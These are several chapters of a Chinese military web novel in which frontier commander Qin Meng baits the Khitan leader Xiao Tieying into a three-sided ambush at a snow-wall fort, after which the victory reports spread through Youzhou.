巴蒂尔挣扎着从地上爬起来,看着眼前杀气腾腾的徐强、看似和善却力大无穷的大和尚,还有周围亮闪闪的兵刃,眼里露出了绝望。
他知道这次是真的跑不掉了,长叹一声,果断扔掉手里的环首刀,缓缓举起双手。
“我认栽……”
徐强见状,挥手让手下士兵上前,把巴蒂尔捆得严严实实。
到这儿,鞑子假扮援军的偷袭计划彻底失败了。
徐强从马背上跳下来,先对着大和尚抱拳道:“多谢大师出手相助,徐某代表飞虎卫,谢过大师!”
“小将军不必多礼,抗击鞑虏,本就是汉家儿郎的本分。”胖大和尚单手行礼,念了声佛号。
这时,树林里缓缓驶出一辆马车,车帘掀开,露出一个文士打扮的中年人,正是赵开明。
自从那天晚上在幽州城外被这大和尚救下后,得知对方是要来边塞,他就跟着一起过来了。
这位鲁大师是来寻亲的,而他是来避难的——因为知道的事情太多,幽州的官僚要杀他灭口。
在他看来,能提供庇护的只有边军。
而铁血军寨又和地方官僚有矛盾,正是最好的去处。
第197章 纵火连环计
半个时辰后,战场上的杀声渐渐平息。
天色越来越暗,鹅毛大雪漫天飞舞。
各支分散追杀的队伍,都带着战利品和俘虏回来了。
徐强领着玄空和尚和赵开明,穿过还没散尽硝烟的战场,来到正在指挥清理战场的秦猛面前。
徐强抱拳禀报:“秦知寨,这位是玄空大师,刚才多亏他出手拦截,我们才能生擒巴蒂尔。”
接着,他迅速把之前在树林边发生的事情说来。又转向玄空,介绍道:“大师,这位就是铁血军寨的秦知寨,陷阵营正将,秦猛将军。”
秦猛抬眼望去,见这大和尚长得格外雄壮,手里那柄镔铁禅杖,少说也有五六十斤重。他鼻直口方、面圆耳大,面容肃穆,却透着豪迈之气。
秦猛眼里闪过一丝惊讶,上前拱拱手,声音洪亮:“大师好身手,秦某佩服!今天要是没有大师这一杖子,差点就让这**头目跑了。”
玄空单掌竖在胸前,朗声一笑,声音像洪钟一样:“阿弥陀佛!洒家有礼,见过秦将军。
进入幽州后,就常听人说铁血军寨秦将军的威名。今日一见,果然名不虚传!这一战,将军调度得有条有理,杀了上千**,真是痛快!”
秦猛见这和尚不拘泥于佛门礼节,说话自带一股江湖豪侠的气息,心里更添了几分好感,笑着说:“大师过奖了。不知大师从何而来,要往何处去?这次多亏大师援手,定要好生招待。”
玄空那双铜铃似的眼睛环顾四周,见左右没有闲杂人等,才压低声音,语气里带着几分探寻。
“不瞒将军,洒家法号玄空,俗家名叫鲁真。这次下山,一是为了云游修行,二是为了寻一桩俗缘。
洒家出家前,本家有个叔父,听说鲁家没落,他流落至塞北一带做木匠活,铁血军寨近来招收流民,不知秦将军有没有听过家叔鲁明这号人?”
“鲁师傅?”秦猛听了,先是一愣,接着放声大笑:“哈哈哈,真是无巧不成书,大师问对人了。
鲁明师傅他现在就在我军寨里,当着木工坊的工头呢!我军中的**器械、全靠他的巧手调度。
我与他喝酒闲聊时,鲁师傅还常念叨,说他有个侄儿早年离乡闯荡,没想到,竟是大师您!”
玄空(鲁真)一听,古铜色的脸上立刻露出惊喜,原本肃穆的表情瞬间变得像个孩子一样开心。
他猛地一拍光头:“真的?佛祖保佑!洒家这趟真是来对了!一别十多年,不知道叔父他身体还好不好?”
秦猛见这胖大和尚此刻真情流露,和刚才拦马擒敌时的凶神恶煞判若两人,心里也觉得高兴。
他热情邀请道:“鲁师傅身子骨硬朗得很!大师要是不嫌弃,等这里的战事平息一些,就跟秦某回军寨坐坐,也好让你们叔侄团聚!”
玄空把禅杖往肩膀上一靠,双手合十,郑重行了一礼:“如此甚好,洒家就叨扰将军了!”
这时,一旁的赵开明终于找到插话的机会,正准备上前说话,**却匆匆跑了过来,打断了几人的对话——新的军情,已经迫在眉睫。
**脸上带着凝重,凑到秦猛紧前,压低声音禀报:“将军,从俘虏嘴里问出关键情报了!”
“这支契丹兵,就是萧铁**来的!”
“不光有人在境内接应,帮他们潜入,连他们身上的飞虎卫衣甲、兵器,都是接应人提供的!”
“知道接应的人到底是谁吗?”秦猛沉声问道。
“还没问出来。”**摇了摇头,又补充道:“不过先新送来的那个**将领应该知道些线索。”
“好,回去后再仔细拷问。”秦猛目光愈发冰冷。
“他们的目的是?”
“这群假设不援军最终目的,就是配合河对面的萧铁鹰主力,先拿下此处,切断我军后路,然后配合对岸**两面夹击,彻底攻占铁血军寨!”
“算盘打得不错。”秦猛脸色越发阴沉,心里怒火翻腾——境内竟然有人和契丹勾结到这种地步。
“混账,此事必须上报给将军知道。”赵平也是满脸愤怒的走过来,显然也参与了突击审问。
“赵大哥,现在军情紧急,不是追查内鬼的时候。”秦猛笑容有点冷,强压下怒火,迅速下令。
“庞仁、王魁,你们带人打扫战场,然后按计划点燃草垛,制造火光,一定要让河对岸看得见!”
说完,他转向赵平、袁飞等将领,声音斩钉截铁:“走!我们立刻率军返回,装出要急攻军寨的样子。今晚,定要让那萧铁鹰有来无回!”
“秦知寨,洒家愿意助您一臂之力!”鲁玄空拎着禅杖,翻身上了那匹神骏的白马,瓮声请战。
赵开明见状,眼前一亮,驾着马车靠过来,大声说:“还有我!鄙人赵开明,此番是特地来投奔秦知寨的,也愿意为您效犬马之劳!而且赵某有用,有要事禀报,是关于幽州的!”
“好,那二位就一起跟我回去。”秦猛打量了赵开明一眼,略微思索后,就答应了。他找到庞仁交代了几句,立刻率领队伍顶着风雪返回军寨。
昏沉的天空下,大雪簌簌落下,和没烧尽的黑烟缠在一起。
空气中弥漫着硝烟和血腥混合的刺鼻气味,巡检司的几百名将士和劳工分成多队,忙着清理战场。
另一
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边,庞仁搓着冻得发红的手,指挥着手下把一捆捆麦秆往空地上搬。
雪下得正紧,刚落地的麦秆就沾了层白霜,他往手心里哈着热气,大声喊道:“都麻利点!把麦秆撒开,桐油往根上浇,别心疼那点油!”
几个士兵扛着油桶,顺着麦秆堆浇出一条条油线。
庞仁亲自划亮火折子,往最中间的麦秆堆一扔。
“轰”的一声,火苗瞬间窜起三尺高,浓烟裹着火星子往上冲,一下就冲破了雪幕。五处篝火接连点燃,火光冲天,把半边天都染成了通红。
这火光,铁血军寨的哨兵看得真切。
界河对岸的草原上,更是清晰的晃眼。
“快看!南岸有火光!”契丹营地栅栏墙上的哨兵裹紧皮袍,指着对岸大叫,声音里满是兴奋。
消息像长了翅膀,飞快传到中军大帐。
萧铁鹰正捧着酒碗暖手,听到禀报“哐当”一声把碗砸在桌上,猛地从虎皮椅子上蹦起来。
他先入为主地想到自己的计谋得逞,眼睛亮得吓人:“好!太好了!巴蒂尔果然没让我失望!”
他搓着手来回踱步,脑子里已经盘算开了——不管是巴蒂尔按计划打下了巡检司,还是逼得铁血军寨分兵救援,这都是天赐的机会!
“快!传我命令,所有骑兵披甲备马,一刻钟后集结!”
萧铁鹰扯开嗓子喊,亲兵应声往外跑,营地瞬间热闹起来,人喊马嘶声混着风声,乱成一片。
他又叫来斥候:“继续盯着南岸!有任何动静,立刻回报!
“是!”
与此同时,秦猛已率部火速回防军寨,天色已彻底暗沉。
唯有巡检司方向冲天火光将天际映得一片血红。
秦猛勒住战马,目光扫过那片不祥的火光,当即沉声下令:“传令前营秦副将,依计行事!”
“其余各部即刻备战!”
他转头看向身旁的赵平,语速快而清晰:“赵大哥,你与周大哥各领一翼,看准时机两路杀出,形成合围,将这群**分割绞杀!”
“得令!”赵平抱拳应声,立即带人驰归本阵准备。
阮氏三兄弟则分头驰往各营。
马蹄踏起阵阵雪尘,将军令迅速传遍全军。
不过一刻钟,数百名新兵与编外人员已在寨外集结完毕,策马迂回,佯作攻势,大声喊杀。
寨墙守军适时高呼:“**来了!**来了!”
寨内烽火被点燃,火光冲天。
“呜呜呜……”急促的号角声响彻黑夜!
“杀啊——冲啊——”混杂着契丹语的呐喊声在夜幕中爆发,声震四野,恰似敌军正在猛攻营寨。
第198章 萧郎中计,三面夹击
契丹营地,中军大帐。
萧铁鹰召集麾下将领紧急议事。
得知巴蒂尔得手,切断铁血军寨后路的消息。几个脾气火爆的千夫长拍着桌子叫好:“早就憋坏了!趁这机会,冲过去把周军的寨门拆了!”
少数几个老成的却皱着眉:“酋帅,咱们的部落援军还有三天就到,到时候人多,更稳妥些。”
“稳妥?等援军到了,周军早就把漏洞堵上了!”萧铁鹰一巴掌拍在案几上,震得酒壶都晃了晃。
“这火光就是信号,错过了这次,明年想找这样的机会,难!”
正说着,帐外突然传来急促的脚步声,一个探子连滚带爬冲进来,满脸是雪却惊喜地叫着。
“报——,酋帅,铁血军寨方向……烽火点燃了,杀声震天,内部混乱,像是…像是打起来了!”
“真的?”萧铁鹰眼睛一瞪,拔腿就往帐外冲。
“走!随我杀过去!”
刚到帐门口,一个瘦削的护卫突然拦在面前。这护卫不是别人,正是上次在冰河阻挡秦猛之人。
此刻,他手腕纱布染,脸色苍白,眉头紧皱。微微向萧铁鹰躬身,语气带着几分劝阻。
“萧大人,不对劲。巴蒂尔就算得手,也应该来报,是否确认一下?防止是周军的诱敌计?”
“诱敌计?”萧铁鹰冷笑一声,指着军寨方向的火光和隐约传来的杀声,“你听听,都杀到军寨门口了,还诱什么敌?先生安心养伤便是。”
他一把推开护卫,翻身上马,抽出腰间弯刀:“儿郎们!随我冲!踏平铁血军寨,抢光他们的粮草!”
腊月十三的寒风里,萧铁鹰一马当先,杀向铁血军寨,三千多契丹骑兵如潮水般涌向界河。
冰封的河面上,千多铁林军头前开路,马蹄声震得冰面咔咔作响,骑兵们的嘶吼声压过了风雪。
南岸的烽燧堡上,哨兵看到这一幕,立刻吹响了号角。
“呜呜呜——”凄厉的号角声划破长空,在风雪中传得老远。
号角声刚落,秦大壮便下令本部人马,五百步卒列阵雪墙之下,纷纷摘下斜背的强弓劲驽。
刘铁柱带着三百弓箭手匆匆赶来,见敌军已踏上冰河。当即喝令队伍列阵:“都给我站稳了!弓拉满,箭上弦!”
弓箭手们迅速分成三队,前队搭箭待发,中队引弓蓄力,后队检查箭囊,动作干脆利落。
正是平日里练熟的梯队轮射之法。
刘铁柱站在高坡顶端,望着越来越近的契丹骑兵,手心攥出了汗,铁胎弓的弓臂被握得泛白。
但他的眼神却像钉在敌军前锋,丝毫不敢偏移。
契丹骑兵速度越来越快,马蹄扬起的雪沫子在风中连成一片白雾。
五百步,三百步,两百步……
距离不断缩短,迅速逼近雪墙防线。
“放箭——”刘铁柱猛地挥下手臂,吼声穿透风雪。
前队弓箭手齐齐松弦,数百支箭矢在空中划出弧线,如黑色暴雨般砸落进契丹骑兵阵中。
可箭雨落下,只听得一片叮叮当当的金属碰撞声,契丹前排的重甲骑兵连人带马裹着厚甲。
箭矢撞上去要么弹开,要么嵌在甲缝里,根本伤不到内里。
一轮箭雨下来,只有十几个倒霉蛋被流矢射中面甲缝隙或战马眼睛,惨叫着引起轻微骚乱。对整个重骑兵阵来说,不过是挠了挠痒。
萧铁鹰在阵前看得清楚,嘴角勾起一抹冷笑。
他抬手示意队伍加速:“雕虫小技!周军就这点手段,也敢拿出来现眼!冲垮他们的雪墙!”
说话间,契丹骑兵已冲到雪墙前百多步处,前排的重骑兵突然向两侧分开,后面驾驶马车的辅兵上前,将车上装满积雪的麻布袋狠狠丢在雪墙下方。
麻袋堆叠起来,很快就填出一道缓坡,雪墙下暗藏的陷坑、拒马,全被积雪盖住,失去作用。
“冲进去!”萧铁鹰挥刀下令。
契丹骑兵策马冲上缓坡,顺着雪堆跃过雪墙,可刚踏入雪墙后,就听到“咔嚓”一声脆响。
最先冲进来的十几个重骑兵连人带马坠入陷坑。
坑底密密麻麻的削尖竹子和木桩,瞬间刺穿战马腹部,锋利的木刺顺着铠甲缝隙扎进骑兵身体。
凄厉的惨叫瞬间响彻战场。
后面的骑兵来不及止住势头,要么跟着掉进其他陷坑,要么被秦大壮率领的**兵盯上。
秦大壮握着**,大喝一声:“三三成阵!套索控马,**破甲!”
话音刚落,几个**兵立刻结成小队,两人甩出带铁钩的套索,缠住战马的脖子或骑兵手臂,猛地向后拉扯,将骑兵拽得身形不稳。
旁边的**兵抓住机会,**直刺,精准扎向铠甲关节处的缝隙,一枪就刺穿敌人身体。
雪墙后方的地面,早就被上千劳力连夜挖得坑坑洼洼,壕沟纵横交错,陷坑层层叠叠,根本不适合骑兵冲锋。
失去速度的契丹骑兵,就像没了爪子的老虎,只能在原地挣扎,被周军士兵一步步蚕食。
高坡上的刘铁柱见状,立刻调整指令:
“瞄准面甲!自由射击!”
弓箭手们纷纷瞄准重骑兵防御较弱的面甲,箭矢精准射出,不少骑兵躲闪不及,被箭射中面门,当场**。
可萧铁鹰毕竟久经沙场,这回更是有备而来。见前方受阻,当即下令,用积雪麻袋填平陷阱。
更有十几个契丹兵推着沉重的攻城锤,朝着雪墙猛撞过去。
“砰砰砰”的撞击声不绝于耳。
冻得梆硬的雪墙缺点是没有根基,几下撞击下来,墙面开始出现裂痕,很快就塌出几个豁口。
越来越多的契丹重甲骑兵从断墙豁口冲进来。
秦大壮的**兵渐渐抵挡不住,开始出现
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伤亡,只能边打边退,依托壕沟和掩体继续抵抗。
每一个豁口的争夺都异常惨烈,周军士兵倒下一个,契丹骑兵也得付出五六个的代价。
但架不住对方人多,雪墙后的陷阱渐渐被尸体和积雪填平,更多骑兵开始在空地上策马奔腾。
秦大壮见时机差不多,朝刘铁柱使了个眼色,两人当即下令:“按计划撤退!”
周军士兵有序后撤,故意露出狼狈逃窜的模样,朝后方退去。
萧铁鹰带着亲卫队越过雪墙,见周军溃逃,后方火光依旧,嘈杂声不断,顿时哈哈大笑:
“一群乌合之众!契丹儿郎们,给我杀!拿下军寨,人人有赏!”
此时,至少大半契丹骑兵已踏入南岸,剩下的还在陆续越过界河,却拥堵在几个豁口处。
萧铁鹰迫不及待地挥刀向前,准备乘胜追击,彻底拿下铁血军寨。
可就在这时,“杀——”一声震天的喊杀声突然从两侧传来。
秦猛率领着数百重骑兵,从左侧密林里冲出。
这支队伍虽是临时拼凑,却个个装备精良——三百寨兵配上三百飞虎卫,骑着缴获的契丹战马,穿着厚重的铁甲,气势丝毫不输契丹铁林军。
“萧铁鹰!拿命来!”
秦猛脸上露出残酷的笑容,一马当先,手中马槊舞动,当场将一个契丹骑兵扎了个透心凉。
与此同时,赵平、周扬两队骑兵也从右侧冲来,每队四百余人,朝着契丹骑兵阵两翼杀去。
萧铁鹰瞳孔剧烈收缩,心里咯噔一下,意识到坏了:“不好!巴蒂尔出事了!这是诱敌计!”
不等他反应过来,三队周军骑兵已发起攻势。
一招鲜,吃遍天。
三路骑兵先是一轮奔射,箭矢如蝗,射得契丹骑兵阵中许多轻骑兵惨叫着**,引发一阵骚乱。
紧接着,大力者掏出**点燃,狠狠砸向地面,
“轰轰轰”的**声接连响起,一道又一道火柱冲天而起,火焰瞬间蔓延开来,形成一片火海。
不少契丹骑兵的战马被火焰惊吓,疯狂嘶鸣,四处乱撞,原本整齐的阵型彻底乱作一团。
许多骑兵来不及躲避,被火焰缠上,瞬间变成火人,身上重甲被烧着发红,在火海中惨叫挣扎。
“冲!分割他们!”
秦猛抓住时机,率领重骑兵狠狠撞入契丹骑兵阵中。数百条马槊里面,沿途重骑兵被洞穿。
赵平、周扬两队骑兵也从两侧夹击,从后方轻骑兵切入,将契丹兵分割成数段,各自包围起来。
失去阵型又没有冲锋起来的契丹骑兵,犹如一群待宰羔羊。在周军的冲击之下,不堪一击。
要么被马槊洞穿身体;要么长刀劈**下;要么被**挑翻……
一时间,契丹兵倒下大片,惨叫声、兵器碰撞声、战马嘶鸣声混杂在一起,响彻整个南岸。
第199章 大败契丹军
萧铁鹰看着阵中乱象,双目赤红,猛地举起金刀,歇斯底里地大吼:“稳住,都给我稳住!”
“谁再退一步,老子斩了他!”
他拍马冲到阵前,金刀挥舞,劈死一个转身逃窜的契丹骑兵,试图用铁血手段逼退溃势。
“铁林军何在?随我杀回去!拿下秦猛首级,赏牛羊千头!”
可此时的契丹骑兵早已被分割开来,乱作一团。火海里的惨叫声,与周军喊杀声交织在一起。
哪里还能组织起有效抵抗?
秦猛率领着重骑兵如铁犁般在契丹阵中横冲直撞。
他手中的马槊长达丈八,槊尖寒光闪烁,借着战马冲锋的势头,每一次挺槊都带着千钧之力。
迎面冲来一个契丹重甲骑兵,举刀便砍,秦猛不闪不避,马槊直刺而出。
“噗嗤”一声,槊尖直接洞穿对方铁甲,从胸前刺入,背后穿出,人都被这股巨力掀翻在地。
沿途挡路的契丹兵,要么被马槊直接戳死,要么被槊杆扫中,骨裂声伴随着惨叫,纷纷**。
他身后几个将领紧随其后。
王善、**兄弟带队护卫他左右。手中马槊直刺、斜挑,每一次发力都能洞穿敌兵甲胄。
牛五、袁飞、徐强三人呈三角之势,马槊挥舞间形成一道密不透风的防线,将靠近的契丹兵尽数挑杀。
后方阮大兄弟带着数十个**手,策应己方人员。凡是遇到被**者,立刻嗖嗖**箭狂飙。
而自愿前来相助的胖大和尚鲁玄空,更是战场上最醒目的存在。
他也换上重甲,那柄数十斤重的镔铁禅杖,在他手中仿佛轻如鸿**,上下翻飞间带着呼啸的风声。
禅杖砸下时,契丹骑兵的头盔瞬间变形凹陷,脑浆与鲜血迸射而出,惨烈至极。
每当击倒一人,鲁玄空便满脸慈悲,假模假样地念道:“阿弥陀佛,你不入地狱,谁入地狱?”
将领们身先士卒的表率,点燃了麾下骑兵的血性。
后方重骑兵们人人奋勇,嗷嗷乱叫,如饿狼扑食般冲向敌阵,手中马槊挥舞得虎虎生风。
契丹引以为傲的铁林军,人数众多,却在这般猛攻之下竟毫无还手之力,阵型节节败退。
士兵们脸上写满恐惧,往日的凶悍荡然无存。争相往后退挤成一团,只能在血与火中徒劳挣扎。
秦猛所过之处,戳翻一个个**,竟无人能挡,硬生生在契丹阵中撕开一条血路,直扑萧铁鹰而去。
“萧铁鹰!纳命来!”秦猛的吼声震得周围士兵耳膜发颤。
“酋帅快走!我们拦住他!”
萧铁鹰身边的亲卫队长见秦猛杀来,脸色骤变。立刻率领十几个精锐亲卫,挡在萧铁鹰身前。
十几个亲卫策马冲向秦猛,手中弯刀齐齐劈下。
秦猛冷笑一声,马槊横扫,“铛”的一声,将数把弯刀震开,紧接着,槊尖一转,连续刺穿两个亲卫的喉咙。
剩下的亲卫也被随后赶来的**兄带亲兵斩杀殆尽。
萧铁鹰吓得魂飞魄散,哪里还敢停留?在几个亲卫的护送下,调转马头,朝着界河方向疯狂逃窜。
秦猛见萧铁鹰要跑,要追却被重骑兵阻拦,他立刻放声大吼:“萧酋帅跑了,契丹的头儿逃了!”
他身后几个会说契丹语的亲兵,立刻跟着大喊。
“酋帅跑了!咱们败了!快逃啊!”
“大帅有令,撤,快撤,过河狙击!”
这喊话声此起彼伏,如同瘟疫般在契丹阵中蔓延,本就人心惶惶的契丹兵,听到主帅逃窜,下令撤退的消息,彻底失去了抵抗的勇气。
纷纷调转马头,跟着往界河方向逃去。
然而,后面有雪墙阻拦,契丹骑兵又不断往前挤。周军更不会给他们从容逃窜的机会。
三路周军骑兵趁势掩杀。
秦猛率领重骑兵正面冲击,赵平、周扬的骑兵从两侧迂回,将契丹溃兵死死咬住,**声不绝于耳。
就在这时,退到后方的秦大壮、李山、刘铁柱等人,见契丹兵溃败,立刻率步卒和弓箭手杀了回来。
秦大壮的**兵阵堵住了大队契丹兵的退路。
刘铁柱的弓箭手在后方放箭。
李山则带着刀盾手,冲入溃兵之中,肆意**,瞬间填补了战线的空缺,将契丹骑兵彻底压制。
紧随其后的,是乌维率领的突击队。
他与麾下十多条壮汉,每人手中都握着一根碗口粗的削尖原木,原木顶端钉满了锋利的铁钉。
乌维等人举起原木猛砸,沉闷的撞击声接连响起,**兵被打飞**,砸到身边的同伴,战马嘶鸣,惨叫声此起彼伏,契丹兵更加慌乱。
这前后夹击,就像压死骆驼的最后一根稻草。
契丹骑兵腹背受敌,士气彻底崩溃,只能各自为战,四散奔逃,根本组织不起任何反击。
喊杀声一直响彻,刺破黑夜。
萧铁鹰被几个亲卫护着,拼了命地往界河冲。
此刻,他身上已添了好几处伤口,左臂被箭射中,鲜血浸透了铠甲,原本摧毁多座戍堡积攒的嚣张气焰荡然无存,只剩满脸的狼狈和恐惧。
他不敢回头,只知道一个劲地催马,连王庭大王赐给自己的金刀,掉落在地了都顾不上捡。
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秦猛哪里肯放过这个机会?率领着重骑兵紧追不舍,马槊不断挥舞,将沿途逃窜的契丹兵一一斩杀。
重骑兵虽然不擅长长途追击,但此刻契丹兵早已溃不成军,跑得慢的,全成了槊下亡魂。
一路追过界河,秦猛目光一凝,看到了远处的契丹营地,当即下令:“杀,拿下契丹大营!”
周军重骑兵如潮水般涌向契丹营地,营地里的契丹守军本就不多,又群龙无首,见大队周军杀来,根本无力抵抗,只能弃营,四散奔逃。
秦猛率军轻松拿下营地,缴获了大量的粮草、战马和兵器,来不及带走的帐篷、金银珠宝等。
另一边,赵平和周扬和率本部骑兵,对契丹溃兵展开了一轮疯狂追杀。轻骑兵速度快,机动性强,追着溃兵**了十余里地,才鸣金收兵。
这一战,契丹兵逃脱者不过十之二三,剩下的要么战死,要么被俘,尸体遍布界河南北。
尸体横七竖八,鲜血染红了雪地,在寒风中凝结成冰。
秦猛率领着队伍,驱赶牛马,押着数百俘虏,载着满满的战利品,浩浩荡荡地返回铁血军寨。
士兵们虽然疲惫,但脸上都洋溢着胜利的笑容,欢呼声此起彼伏,穿透风雪,响彻云霄。
天蒙蒙亮时,东方泛起鱼肚白,战场的喧嚣渐渐平息。
远远望去,渡河的凯旋队伍,牲畜的蹄声与车轮滚动声交织在一起,形成一片丰收的景象。
军寨的接应人员早已等候,一部分人迅速上前清点物资,另一部分人则带着锄镐打扫战场,收敛己方将士的遗体,处理敌兵的尸骸。
与此同时,巡检司驻地那边战场,战利品初步清点完成。连夜赶来的士兵,护送着缴获物资返回军寨,并向留守的将领汇报战场情况。
经过诸葛风、李恒等人彻夜统计,战果终于清晰呈现。
巡检司驻地战场,共缴获草原好马六百多匹,飞虎卫制式铁甲一千多套,大多甲胄完好无损。
弓箭、刀枪等武器更是不计其数,堆积如山;此外,还从敌兵行囊中搜出不少金银首饰。
而铁血军寨这边,作为击溃**主力的主战场,战利品更是丰厚。
具体战利品,还在清点统计之中!
这场大胜不仅重创了契丹的有生力量,而且端掉了敌军营地,基本援军来了,也没有补给。
秦猛没有因打了一场胜仗,就松懈对草原的防范。
大批劳力被组织起来,修缮雪墙,恢复陷阱,军寨内明岗暗哨得到加强,烽燧堡增派援军。
秦猛和赵平各自书写战报,派人送往幽州大营。
第200章 捷报传幽州
腊月十五,寒风卷着大雪,刮过幽州城外的旷野,虎贲军飞虎大营的黑色旗帜在风雪中猎猎作响。
飞虎卫作为拱卫幽州的重要军事力量,军营规模极为庞大,营内校场、营房、粮仓、军械库一应俱全,足以容纳数万名士兵驻扎。
大营内,中军大帐的炭火盆烧得正旺,暖意融融,却驱不散赵起将军眉宇间的几分忧虑。
他身着玄色锦袍,外罩一层薄甲,手指无意识地摩挲着案上的兵符,目光落在帐外纷飞的雪花上,思绪早已飘远。
近来让他烦忧的事有两件,一是朝廷钦使突然转道而来,要在营中巡视检阅,一套繁琐的流程下来,硬生生拖慢了他驰援铁血军寨的原定计划。
二来,从几天前开始,幽州城内的富户商贾们便成群结队地找上门来,一个个哭哭啼啼,攥着书信跪在营门外,声称他们的儿子是被冤枉的,他们不知情,求赵起将军开恩放人。
赵起起初以为是麾下士兵犯了欺压百姓的过错,派人仔细查探情况后,却是哭笑不得。
原来,这一切又是那秦猛搞得鬼。
其实是秦猛“用钱粮换人命”的计划开始奏效了。
前段时间,秦猛派张龙张虎兄弟带队,入幽州办事。主要目的是接刘三家眷,其次是记录幽州地形,顺便给那些被俘的厢军家属送信。
这些军卒都是此前从冷艳山寨抓获的。家里贫困的告知消息,明年开春举家搬迁到边寨定居。
家中条件稍好的,收到的书信里则不仅告知了“拿钱粮换人”的条件,还简明扼要地写明:
他们的亲人是被幽州杨家蛊惑,于冷艳山公然袭击边军,这本是杀头甚至株连九族的重罪。
信中更是直接点明,所需钱粮的具体数额,需家属亲自到幽州飞虎大营找赵起将军商议。
赵起得知其中缘由后,自然不会放过这充盈军资的机会,当即趁机向这些富户商贾索要钱粮。
几日下来,源源不断的粮车驶入飞虎大营,将仓库堆得满满当当;一箱箱沉甸甸的金银被抬进中军帐侧的库房,耀眼的光泽格外诱人。
可即便军资日益丰厚,赵起心中的忧虑却丝毫未减。
只因他有秘密消息,幽州官僚多与草原**有牵扯,而且这次朝廷钦使突至也是对方为之。
他始终担心铁血军寨孤立无援,面对契丹铁骑的猛攻会损失惨重,甚至可能被踏平寨门。
“希望还来得及……”赵起望着帐外飘落的雪花,低声呢喃。
随即将他唤来亲兵,下令道:“传我将令,全军即刻整顿兵马,备好行装,护粮队伍先行,待明日检阅结束,立刻开拔,驰援铁血军寨!”
话音刚落,帐外突然传来一阵急促的马蹄声。
紧接着,一名亲兵快步闯入大帐,高声禀报:“将军!营外有两队骑兵飞奔而来,说是知寨秦猛和赵统领派来的斥候,有紧急军情禀报!”
赵起心中一紧,连忙起身:“快让他们进来!”
片刻后,两名风尘仆仆的斥候被引入大帐,身上的铠甲还沾着雪沫与尘土,来不及喘口气,便单膝跪地,双手高举捷报:“启禀将军!
铁血军寨大胜!秦知寨率军击溃契丹军主力,萧铁鹰落荒而逃,我军大获全胜,缴获无数。”
赵起急忙接过捷报,展开细看,一行行字迹清晰映入眼帘:铁血军寨于界河一带与契丹军交战,凭借将士奋勇与外援相助,斩杀契丹兵两千余人,俘虏数百,缴获战马、粮草、军械……
秦猛懂得枪打出头鸟的道理,上报刻意弱化自己,缴获一笔带过。然而,做事最怕有内奸。
赵平写的战报,那就比较详细了。
巡检司驻地设伏,绞杀上千**,当夜就连环计,引诱契丹主力来攻,己方趁势三面夹击。
杀敌多少,缴获多少,这位赵统领写得比较详细。甚至又提及了北狼口,双涡堡,护河堡三场战役,连战连捷,把杀**总数做了统计。
赵将军迅速看完两封战报后,这位戍边多年、见惯了沙场风浪的老将,脸上表情接连变化。
先是浮现出错愕之色,接着又是喜悦,随后是难以置信,一股抑制不住的惊喜涌上心头。
他猛地一拍案几,放声大笑:“好!好一个秦猛!果然带兵有方,不愧是开国名将之后!”
“竟不等我援军抵达,就凭一个边寨的力量,硬生生打退了契丹铁骑,还斩杀敌兵六千有余!”
赵起越说越激动,手中的捷报被攥得微微发皱:“即便有亲卫营、磐石营等外援相助,可仅凭一座军寨便能创下如此战绩,不可思议!”
“这秦猛,果然人如其名,真是个难得的猛将!”赵起想到年轻时候自己的战绩,感慨连连。
帐内的亲兵们听闻大胜的消息,也纷纷露出振奋的神情,因驰援延迟而笼罩的阴霾一扫而空。
赵起压下心中的喜悦,迅速冷静下来,当即下令:“传令下去,钦使那边由参军代为接待,让他们一切从简,务必尽快完成检阅流程。
其余将士继续整顿兵马,待我处理完营中琐事,即刻率军赶往边塞,以防契丹恼羞反扑!”
“另外,将铁血军寨大胜的捷报誊抄数份,一份快马送往帅司;其余分送幽州各守军据点。”
“将军,这事儿不瞒了。”执勤的亲兵队长疑惑地问。
“瞒个屁,这么大的事如何隐瞒?”赵起没好气地说道:“何况赵平,周扬,王魁等将领协助,世人都以为是我的安排,这次就不必了。”
“近来**嚣张至极,咱们一个边寨就杀敌近万。让兄弟们都知道,咱们边军可不是好欺负的!冬季的雪墙防线,明年必须要彻底落实!”
“得令!”
亲兵们齐声领命,转身快步出帐传达命令。
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不多时,校场、营房、伙房外的告示栏上张贴了捷报告示,逐渐围满了闻讯而来的飞虎卫。
“铁血军寨大胜?还击溃了契丹主力?”
最先驻足的络腮胡老兵,手指在“击溃契丹主力”几字上反复摩挲,语气里满是难以置信。
人群越聚越多,吸气声与议论声交织。
“你没看清楚?赵、周两位统领虽去支援,但主导作战的是知寨官秦猛!”
“不等援军就敢带着边寨弟兄硬拼,最后还能指挥得滴水不漏,这秦知寨果然有两把刷子!”
一个年轻部将说着,眼神里满是敬佩。突然,人群中响起惊呼:“快看立功名单!袁飞、徐强?”
“这不就是咱们军中那两个天天跟上官抬杠的刺头吗?没想,到上了战场这么猛!”
“还有秦大壮、张富贵,李山…这些名字,听着就像军寨里的普通弟兄,这仗打得太解气了!”
飞虎卫们看着立功者杀敌多少,攥紧拳头,纷纷喝彩,恨不能当时也在战场上并肩杀敌。原本因驰援延迟而低落的士气,瞬间被点燃。
这份捷报传到虎贲军左右两卫营地时,引发的轰动远超飞虎卫大营,军营之中到处在议论。
“一座边寨杀了近万**?秦猛是谁,这么大的能耐?”
有年轻军卒满脸不服,却被身旁的老兵怼了回去。
“战报上写得明明白白,是多场战斗累积杀敌,铁血军寨诱敌杀两千余,巡检司设伏绞杀千余……”
“咱们去年胜契丹,付出的代价可比这大多了!”
左右两卫大营普通民卒看着告示议论。而各营将领立刻召集心腹,派人快马去赵起军营求证。
毕竟秦猛此前在飞虎军中默默无闻,如今却能调动赵平、周扬等人协同作战,绝非等闲之辈!
边防帅司内,大帅吴珍正皱着眉,处理公文。他正为并州那边的边塞**猖獗袭扰而忧虑。
就在这时,听闻虎贲军飞虎卫却送来了捷报。
他接过战报,逐字细读,脸上的神情从平静转为惊喜,最后拍案叫好:“好,好一个秦猛!”
“提前支援两戍堡、巡检司驻地设伏、连环计、三面夹击,步步精妙,真是我大周边军的福气!”
“哎,总算看到一份让人舒心的捷报。”
吴大帅把战报放在案桌上,呢喃自语,当看到那行军寨升格不久,缺钱缺粮缺人,随即下令。
“来人呐!即刻拟奏折,把秦猛和铁血军寨将士的功绩和几场战役飞马上报朝廷,请求重赏。”
“另外,从帅司粮仓、武库调拨粮草、衣甲、军械,各类物资火速送往铁血军寨犒劳勇士们。”
……
短短半日,铁血军寨及秦猛的名字传遍幽州各营。
张富贵、秦大壮等立功的将领,也成了军卒们议论的对象,幽州边民口中津津乐道的英雄。
第201章 暖阁起惊澜
